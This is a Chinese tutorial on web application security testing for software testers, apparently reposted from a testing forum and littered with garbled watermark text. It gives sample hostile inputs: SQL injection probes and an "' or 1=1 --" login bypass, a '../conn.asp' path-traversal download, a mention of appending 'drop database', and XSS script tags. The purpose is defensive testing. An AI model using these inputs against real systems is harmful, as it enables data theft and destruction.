上述过程不难给我们一些启发:WEB安全评估不应该只是简单地以已知漏洞库为核心来进行操作,而应该和WEB应用系统实际的操作内容及功能结合起来,进行更深入更智能的分析。实际上,就是把人工测试的过程自动化。
fLI[ f l0基于以上需求,新型实用的WEB应用安全评估系统具有以下特点:51Testing软件测试网"^F%~"k r&l
能够遍历整个WEB系统的拓扑结构,从中找到所有可浏览和可交互的页面;
[3RLQ}0能够对所有可浏览页面进行内容检索和分析,从中找到所有与客户端/服务器交互相关的动态内容(例如表单);51Testing软件测试网0a2Edk%u~
能够自动构造各种类型的“异常”提交参数,模拟大多数普遍存在的WEB攻击手段,探测各种已知漏洞和未知漏洞;51Testing软件测试网#n%J0N8FqZ#@:k,a$e"F
能够对响应消息进行内容分析,结合状态码,判断测试结果;
VIZ}jx[0数据库的设计将不仅仅是一个保存已知漏洞特征的漏洞库,而是结合了普遍攻击手段描述内容的专家库,这种专家库可以方便地进行扩充;
%h1fuk"AtN%`0基于WINDOWS的操作界面,,迎合用户操作习惯。51Testing软件测试网lC P3@s:N#~\
51Testing软件测试网 KC@@2JTp}9h
总的来说,这种新型的WEB应用安全评估系统应该是一个应用级的、内容分析的专家系统,它把手工测试过程中的专家经验嵌入到自动测试的工具当中,使得常规的静态WEB漏洞扫描演变成为动态可变的全方位的WEB应用系统安全评估。
"V1h L-I4M6R W/q+{,Pv0
!s*|r;R-n$?\9vO0
51Testing软件测试网 nM7Gm4u;g0d0B
51Testing软件测试网 c^dI}
附:简单的测试51Testing软件测试网,J1\1` d%G?0}7l
安全测试方面应该参照spi的web安全top 10来进行。51Testing软件测试网v'dx2Cl0L
g [i4R#v1b1@*G3\0 目前做软件测试人员可能对安全性测试了解不够,测试结果不是很好。如果经验不足,测试过程中可以采用一些较专业的web安全测试工具,如WebInspect、Acunetix.Web.Vulerability.Scanner等,不过自动化web安全测试的最大缺陷就是误报太多,需要认为审核测试结果,对报告进行逐项手工检测核对。51Testing软件测试网N!e/b_s$X6[
8i!C!K8zJ/B_g0 对于web安全的测试用例,可以参照top 10来写,如果写一个详细的测试用例,还是比较麻烦的,建议采用安全界常用的web渗透报告结合top10来写就可以了。51Testing软件测试网n;kz m9Oi
NUpL%n] W!u0 现在有专门做系统和网站安全检测的公司,那里做安全检测的人的技术都很好,大多都是红客。51Testing软件测试网WfigJgw
51Testing软件测试网6n7P3\^#`.}3RL
51Testing软件测试网`rx%j*GZg
再补充点,网站即使站点不接受信用卡支付,安全问题也是非常重要的。Web 站点收集的用户资料只能在公司内部使用。如果用户信息被黑客泄露,客户在进行交易时,就不会有安全感。51Testing软件测试网 hR){BU"WO;W
51Testing软件测试网SY-WM sW,F
目录设置51Testing软件测试网"i:RR(i#S3X
51Testing软件测试网t$o3qm.wG3C)\@
Web 安全的第一步就是正确设置目录。每个目录下应该有 index.html 或 main.html 页面,这样就不会显示该目录下的所有内容。我服务的一个公司没有执行这条规则。我选中一幅图片,单击鼠标右键,找到该图片所在的路径"…com/objects/images".然后在浏览器地址栏中手工输入该路径,发现该站点所有图片的列表。这可能没什么关系。我进入下一级目录 "…com/objects" ,点击 jackpot.在该目录下有很多资料,其中引起我注意的是已过期页面。该公司每个月都要更改产品价格,并且保存过期页面。我翻看了一下这些记录,就可以估计他们的边际利润以及他们为了争取一个合同还有多大的降价空间。如果某个客户在谈判之前查看了这些信息,他们在谈判桌上肯定处于上风。
pj;H)R:HF"x&V3t'k+j0
:U\.Jrn0 SSL51Testing软件测试网c&V'n lK7S
51Testing软件测试网5_/| g} Lp
很多站点使用 SSL 进行安全传送。你知道你进入一个 SSL 站点是因为浏览器出现了警告消息,而且在地址栏中的 HTTP 变成 HTTPS.如果开发部门使用了SSL,测试人员需要确定是否有相应的替代页面(适用于3.0 以下版本的浏览器,这些浏览器不支持SSL.当用户进入或离开安全站点的时候,请确认有相应的提示信息。是否有连接时间限制?超过限制时间后出现什么情况?51Testing软件测试网W+^6Gr4q{.}2FV
j*jR}"a"| E D^0 登录51Testing软件测试网 Z)x;Dpg:RoVW"y
&x)`ql%cq0 有些站点需要用户进行登录,以验证他们的身份。这样对用户是方便的,他们不需要每次都输入个人资料。你需要验证系统阻止非法的用户名/口令登录,而能够通过有效登录。用户登录是否有次数限制? 是否限制从某些 IP 地址登录? 如果允许登录失败的次数为3,你在第三次登录的时候输入正确的用户名和口令,能通过验证吗? 口令选择有规则限制吗?51Testing软件测试网9P }Z@!DG&?b
日志文件
:}"U9?rZP(T051Testing软件测试网6O{ rD6N6Q0U(d0@f
在后台,要注意验证服务器日志工作正常。日志是否记所有的事务处理? 是否记录失败的注册企图? 是否记录被盗信用卡的使用? 是否在每次事务完成的时候都进行保存? 记录IP 地址吗? 记录用户名吗?
[-XOp dH:@G0
,v `3J2`RJ0 脚本语言脚本语言是常见的安全隐患。每种语言的细节有所不同。有些脚本允许访问根目录。其他只允许访问邮件服务器,但是经验丰富的黑客可以将服务器用户名和口令发送给他们自己。找出站点使用
j,wh5eCx0
^5U4Xo6E vj'^0
6k"C9K#Xcj0
51Testing软件测试网0|kCuoUxw
51Testing软件测试网O#UcL/\d.\;EE
1.数据验证流程:一个好的web系统应该在IE端,server端,DB端都应该进行验证。但有不少程序偷工减料,scrīpt验证完了,就不管了;app server对数据长度和类型的验证与db server的不一样,这些都会引发问题。有兴趣的可参看一下scrīpt代码,设计一些case,这可是你作为一个高级测试人员的优秀之处哦。我曾修改了页面端的scrīpt代码,然后提交了一个form,引发了一个系统的重大漏洞后门
&ua0}"Yg%cC!|02. 数据验证类型: 如果web server端提交sql语句时,不对提交的sql语句验证,那么一个黑客就可暗喜了。他可将提交的sql语句分割,后面加一个delete all或drop database的之类语句,能将你的数据库内容删个精光!我这一招还没实验在internet网站上,不知这样的网站有没有,有多少个。反正我负责的那个web系统曾经发现这样的问题。51Testing软件测试网QG*T*w"qh
3. 网络加密,数据库加密不用说了吧
]W_hU(WD_\051Testing软件测试网2{ mf2c;|b
4pLc4G#{m7Y d9d,e0Y W0
在软件安全开始越来越受人重视的今天,软件的安全性测试是必不可少了。尤其是WEB软件的安全性,关系到一个
Cv Z3xoK0企业的形象和能力。51Testing软件测试网7m'YFj\*~Tyt
我把我对WEB软件安全性测试的方法和经验(见笑了只有半年,哈哈),给大家批评和讨论。
[3ens#U \9nB0WEB软件最常碰到的BUG为:51Testing软件测试网/Tc~zT&d2Y
1、SQL INJETION51Testing软件测试网J:QuB)C"G$GnQ
2、对文件操作相关的模块的漏洞51Testing软件测试网M4HvGt Hc
3、COOKIES的欺骗
+n#STcX3s8WoN04、本地提交的漏洞
`4U h*jt(x051Testing软件测试网&uvuf ?!dLtt
SQL INJETION的测试方法
x%I1GcZ8xxH9g0原理:
Z4k4e|.?)la{0如有一新闻管理系统用文件news.asp再用参数读取数据库里的新闻譬如51Testing软件测试网R%BpD1Ae5P\ j2K N
http://www.xxx.com/news.asp?id=1这一类网站程序51Testing软件测试网*X2^_HoD&n#b
如果直接用
&\0y9F z7c-R'VX0rs.open "select * from news where id=" &51Testing软件测试网 TyH0j;k V0w;OD/X
cstr(request("id")),conn,1,1 数据库进行查询的话即上面的
0G aV#ulDT0URL所读取的文章是这样读取的
BL#d/^9[*j&eK ?J{-b0select * from news where id=1
7m!|o!\(v P&?0懂得SQL语言的就知道这条语言的意思是在news读取
(X/sJPa(k0id为1的文章内容。但是在SQL SERVER里select是支持子查询和多句执行的。如果这样提51Testing软件测试网+~Q'S `s'kC{sa4m
交URL的话
IA1p?)V.GnhpN0http://www.xxx.com/news.asp?id=1and 1=(select count(*) from admin51Testing软件测试网4W1D4UWx5q
where left(name,1)=a)
v/Jh&IY&_0O3`&t0SQL语句就变成了select * news where id=1 and 1=(select count(*)51Testing软件测试网K"| l+j~ mB wS
from admin where left(name,1)=a)51Testing软件测试网'`&Pr ~ gjMV^)v^
意思是admin表里如果存在字段字为name里左边第一个字符是a的就查询news表里id为1的内容,news表里id为1是有内容51Testing软件测试网 CMX%E_9^Q
的,从逻辑上的角度来说就是1&P51Testing软件测试网;q j8d X#P W ]!u%V v&K
只要P为真,表达式就为真,页面会返回一个正确的页面。如果为假页面就会报错或者会51Testing软件测试网%?7\'b}l
提示该id的文章不存在。黑客利用这点就可以慢慢得试用后台管理员的用户和密码。51Testing软件测试网2N/S \3a r.s&e5l!hI
jyyU,nJu(@0测试:
0Z_}-o6_#^#W-x vN0测试存不存在SQL INJETION很简单如果参数为整数型的51Testing软件测试网B Y:o.hUSk
就在URL上分别提交http://www.xxx.com/news.asp?id=1and 1=151Testing软件测试网+H8r#[ J }W
和http://www.xxx.com/news.asp?id=1and 1=2
#G+O8d%E^,n$L0如果第一次返回正确内容,第二次返回不同页面或者不同容内的话表明news.asp文件存在SQL
?Nx-eQ MH0INJETION.如何利用就不多51Testing软件测试网 dqg_:`Z*p
说了,毕竟我们都不是为了入侵。51Testing软件测试网'u KmfhF0k \ Nrp
LcN*wC(_0对文件操作相关的模块的漏洞在测试
(s)p/NH9["l RcVw0
G/D*zA2b9y-X5@*z h0原理:51Testing软件测试网R/}'{4^G0nD)j_^
如一上传文件功能的程序upload.asp如果程序员只注重其功能上的需求没有考虑到用户不按常规操作的问题。如上传一个网
,M#c\.s?-]4@&n0页木马程序上去,整个网站甚至整个服务器的架构和源码都暴露而且还有一定的权限。51Testing软件测试网U*|'w_fh }
"F-orH?0nRA#M0测试:51Testing软件测试网;F3M!sy7QX&e8K
试上传asp,php,jsp,cgi等网页的文件看是否成功。
VH)|:S-P3~051Testing软件测试网Qt5J~B3a,G
补充:51Testing软件测试网,f8p#Bx!m{ D"zND
还有像
wt)c[8U5U,}0http://www.xxx.com/download/filespath.asp?path=../abc.zip51Testing软件测试网 D N#h'\#}3w
下载功能的软件如果51Testing软件测试网Dq TLU^
http://www.xxx.com/download/filespath.asp?path=../conn.asp
d T*]h'W"C0很可能下载到这些asp的源码数据库位置及用户密码都可能暴露。51Testing软件测试网j0Gm(F R6h{
其它还有很多,就不一一举例了。
g6nr2h.jQ0
H'z m(\`N0COOKIES的欺骗51Testing软件测试网d@@|%P V
51Testing软件测试网JS3prtl
原理:51Testing软件测试网M!_yPy HP
COOKIES是WEB程序的重要部分,COOKIES有利有弊。利在于不太占用服务器的资源,弊在于放在客户端非常容易被人修改加以利用
ik*h~3U1}0。所以一般论坛前台登陆用COOKIES后台是用SESSION,因为前台登陆比较频繁,用SESSION效率很低。但如论坛程序管理员用户在51Testing软件测试网Oc,N_ Y]6]y [
前台也有一定的权限,如果对COOKIES验证不严的话,严重影响了WEB程序的正常工作。如前期的LEADBBS,只有后台对COOKIES验51Testing软件测试网WdL_Y k
证严格,前台的位置只是从COOKIES读取用户的ID,对用户是否合法根本没有验证。
k%Mp|%x'PPx0
J)F%?,z}W [~e0测试:
6q/?,bKR0推荐使用MYBROWER浏览器,可即时显示及修改COOKIES。尝试一下修改里面的对应位置。51Testing软件测试网)zfPH$P1H_W*cg
|g*] Q`0F0本地提交表单的漏洞51Testing软件测试网9G/\[}WN1g
~O7ew1{8qjsX0原理:
0[$G&S?2d7hz0Action只接爱表单的提交,所以表单是客户WEB程序的接口。先举一个例子,一个投票系统,分A,B,C,D各项的VALUE是100,80,60,40。51Testing软件测试网h5r)fen/y(E(I%b7W
但是如果先把些页面以HTML形式保存在本地硬盘里。然后修改其VALUE,再向其ACTION提交,ACTION会不会接受呢?51Testing软件测试网 L%E3Wzya
51Testing软件测试网0W_'UX/kx(p)l[0b
测试:51Testing软件测试网0q8Y0E8^J M0KD!@h
如一投票系统,把投票的页面保存在本地硬盘,用记事本打开,找到对应项的VALUE值,对其修改,然后提交。51Testing软件测试网']Pz z2fr
}-}:ia Q0这是我在测试过程中所最常碰到的BUG,也是最广泛存在的。由于本人水平有限,有错漏之处请指出,或者大家对WEB的安全性测试有什么心得
5X7_AEi]+Ie&@B Q0请和我及大家分享。
"U"FcV Ew xnT0
{1qp;S'\R%F0
51Testing软件测试网qwEH |#b"v+J^
5X H7M3i4^ C:J A01,51Testing软件测试网q1DF}&X
问题:没有被验证的输入51Testing软件测试网fiL8o&F$q&_Nq
测试方法:
}} V"l"PaL-v051Testing软件测试网$X2d Wu] jb
数据类型(字符串,整型,实数,等)51Testing软件测试网[3lBD$_'W;a`
允许的字符集
9O.B$gG a'hg+gq4z.c0
n ~v9e Zn(R0最小和最大的长度51Testing软件测试网 \/Is2wY6_tR N1a!i
是否允许空输入
,^ DYXvS_ q;JG-n0参数是否是必须的51Testing软件测试网 |@.f'RF sx
重复是否允许
m}ZF$G9R.r0数值范围
B`{$])aoy0特定的值(枚举型)
%U1V5r.J:Iwz0特定的模式(正则表达式)
5f;Jq1pjk h.Ou`0
H?&q&N9\wb02,
7a A7S,U4s0t4e0问题:有问题的访问控制
yG5l\-}0
*cj,i.mg%t1H0测试方法:51Testing软件测试网w&f8wIfMM"OJE8U
"QsMd6L'jzO0主要用于需要验证用户身份以及权限的页面,复制该页面的url地址,关闭该页面以后,查看是否可以直接进入该复制好的地址51Testing软件测试网&VPw{v!J3^
例:从一个页面链到另一个页面的间隙可以看到URL地址
X&}pO j(^'@O0直接输入该地址,可以看到自己没有权限的页面信息,
uq2T+e&v#o)yP0
+t#z-Uc|"uay03 错误的认证和会话管理
LR&^6F-k_f#l0
z nK| ZmW8v0例:对Grid、Label、Tree view类的输入框未作验证,输入的内容会按照html语法解析出来51Testing软件测试网$k%F7|9lu&aT7S#q
6`$|!uZ*QTg [ZF$K051Testing软件测试网0O!ZToq0D
4,缓冲区溢出51Testing软件测试网+Q-g9g;HUJOva|
51Testing软件测试网9UR Vi8Fct/z
没有加密关键数据51Testing软件测试网@'j {EQ {R
u8D0T\)c0例:view-source:http地址可以查看源代码51Testing软件测试网!pIE!q8e8m0D1b)^
2|Q0Dg#MjE@`0在页面输入密码,页面显示的是 *****, 右键,查看源文件就可以看见刚才输入的密码,51Testing软件测试网 nRC&UXc-L1a*^8v%l
51Testing软件测试网*s9{1{(g"e2K Z
5,拒绝服务51Testing软件测试网]?'f(|`Uy
51Testing软件测试网j|qir2X%k
分析:攻击者可以从一个主机产生足够多的流量来耗尽狠多应用程序,最终使程序陷入瘫痪。需要做负载均衡来对付。
q"?6^|cX051Testing软件测试网9@A2Cf X9F
51Testing软件测试网w-F0]M4o
6,不安全的配置管理
i[7Za/[0
1P'U9U:iXI.iT%j(e0分析:Config中的链接字符串以及用户信息,邮件,数据存储信息都需要加以保护51Testing软件测试网0r6f:|6h1~ Y$I8K
51Testing软件测试网#[?-G'E)`#L
程序员应该作的: 配置所有的安全机制,关掉所有不使用的服务,设置角色权限帐号,使用日志和警报。
PYzz Yap*r~0
@&q;JL"v8r3LG0分析:用户使用缓冲区溢出来破坏web应用程序的栈,通过发送特别编写的代码到web程序中,攻击者可以让web应用程序来执行任意代码。
J$?jw6q4R051Testing软件测试网!w#f ~-B'|i@SF
7,注入式漏洞。51Testing软件测试网\5q c,m1\
例:一个验证用户登陆的页面,51Testing软件测试网8Rs7m!lrF3O
CIB`q8qA2]&E3z0如果使用的sql语句为:51Testing软件测试网(R:S$vMPR
pb%`1Z&?#U,S o K0Select * from table A where username=’’ + username+’’ and pass word …..
x ANz8D? Kp2q0
b'T'BR(vcI*}b;S-U/j0Sql 输入 ‘ or 1=1 ―― 就可以不输入任何password进行攻击
O5jf6xUU051Testing软件测试网;H7w qo^1u
8,不恰当的异常处理
9b!e/F ue(j051Testing软件测试网%v2g)w8Q1J*X
分析:程序在抛出异常的时候给出了比较详细的内部错误信息,暴露了不应该显示的执行细节,网站存在潜在漏洞,
l:Q8Yin0
.@5@/E7mmK!U:t2n0
8UmE'{ x9cO+kt"z051Testing软件测试网%u9i7w$NB2FYvH J8Zz
9,不安全的存储
tgG3t4m)\t W0
+w]%kUP@t i)R9e0分析:帐号列表:系统不应该允许用户浏览到网站所有的帐号,如果必须要一个用户列表,推荐使用某种形式的假名(屏幕名)来指向实际的帐号。
"D(H.[ N$Q t051Testing软件测试网{v,AZj7C+x4AI
浏览器缓存:认证和会话数据不应该作为GET的一部分来发送,应该使用POST,
c3DV#B e&[*d.s0
} xehHjGO010 问题:跨站脚本(XSS)51Testing软件测试网#@'cOJ(t{G:VR
4ORF \2m:qC0分析:攻击者使用跨站脚本来发送恶意代码给没有发觉的用户,窃取他机器上的任意资料51Testing软件测试网P!dj}B8j
3? i,BM:Qe0测试方法:51Testing软件测试网:l GgufPG4a
a&] E)Njj)G8R0• HTML标签:<…>…</…>
+d,MG@/CN[)dx0
6bhxI7|X7uM \0• 转义字符:&(&);<(<);>(>); (空格) ;51Testing软件测试网3Y&l,E S"?+I?6m|
51Testing软件测试网? WND]g6y"}
• 脚本语言:
O&T)Z4q)A(MC;Xc`0
5n.PXJ Rz@W0 <scrīpt language=‘javascrīpt’>
6i0d[/T-s/N0
Lc&d2hvf2l y_0 …Alert(‘’)
#qZ5S/}S\"}0
'T_8E5u9g0 </scrīpt>51Testing软件测试网$q)e`yR f9j'T_
nC [(?iek9v0• 特殊字符:‘ ’ < > /
8f3x,qZ~051Testing软件测试网/A&l8n#n"c&hb/Q
• 最小和最大的长度51Testing软件测试网};gq0e%H"hy0p
51Testing软件测试网+k4uy-{/{7o'M
• 是否允许空输
转载请注明本文地址: WEB安全性测试测试用例(基础).doc